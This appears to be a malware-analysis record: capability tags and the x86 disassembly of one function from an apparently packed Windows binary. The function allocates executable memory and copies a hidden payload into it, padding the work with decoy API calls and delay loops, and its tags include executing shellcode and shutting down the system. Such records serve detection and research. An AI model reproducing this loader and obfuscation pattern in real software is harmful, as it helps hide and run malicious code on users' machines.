Function at 0x403e12
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get geographical location
Read file on windows
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.0040f6e0
cmp dword [0x43ac98], 0x5b1
push ebx
push esi
push edi
jne 0x403ed2
xor ebx, ebx
push ebx
lea eax, [ebp - 0x850]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollInfo]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea eax, [ebp - 0x50]
push eax
push 0x403698
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoExW]
push ebx
push 0x4036ac
push 0x4036b8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
call fcn.00404354
pop ecx
push ebx
push ebx
push ebx
push ebx
call fcn.00404bc9
pop ecx
pop ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403ab1
fstp st(0)
lea esi, [ebp - 0x14]
call fcn.00403a70
mov ecx, esi
call fcn.00403a87
push ebx
call fcn.004046c9
pop ecx
call fcn.0040421a
push ebx
call fcn.00404ed2
add dword [0x43ac98], 0x1134b
push 0x4036ec
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x403708
push eax
mov dword [0x439bec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x43ac98]
xor ebx, ebx
push ebx
mov dword [0x439be4], eax
call eax
xor esi, esi
mov dword [0x439be8], eax
cmp dword [0x43ac98], ebx
jbe 0x403f5b
cmp dword [0x43ac98], 0xa8
mov eax, dword [0x43ac9c]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x439be8]
mov byte [ecx + esi], al
jne 0x403f52
push ebx
push ebx
call dword [sym.imp.GDI32.dll_SetColorAdjustment]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
inc esi
cmp esi, dword [0x43ac98]
jb 0x403f1e
xor esi, esi
mov eax, dword [0x43ac98]
add eax, esi
cmp eax, 0xe
jne 0x40402a
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
lea eax, [ebp - 0x1450]
push eax
push 0x403718
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
xor eax, eax
mov dword [ebp - 8], ebx
lea edi, [ebp - 4]
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x450]
push eax
push 0x4037d4
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x403804
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x39621
jl 0x403f5d
xor esi, esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp esi, 0x206d47
jg 0x40405f
inc esi
cmp esi, 0x4f6a4
jl 0x404039
mov esi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec esi
jne 0x404064
call fcn.00403d79
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x26
jne 0x404094
call fcn.00403df8
inc esi
cmp esi, 0x6753f
jl 0x404083
push 0x7b
pop esi
cmp dword [0x43ac98], 0x86
jne 0x4040e6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push ebx
lea eax, [ebp - 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0x40383c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
dec esi
jne 0x4040a0
call fcn.00403b2a
pop edi
pop esi
pop ebx
leave
ret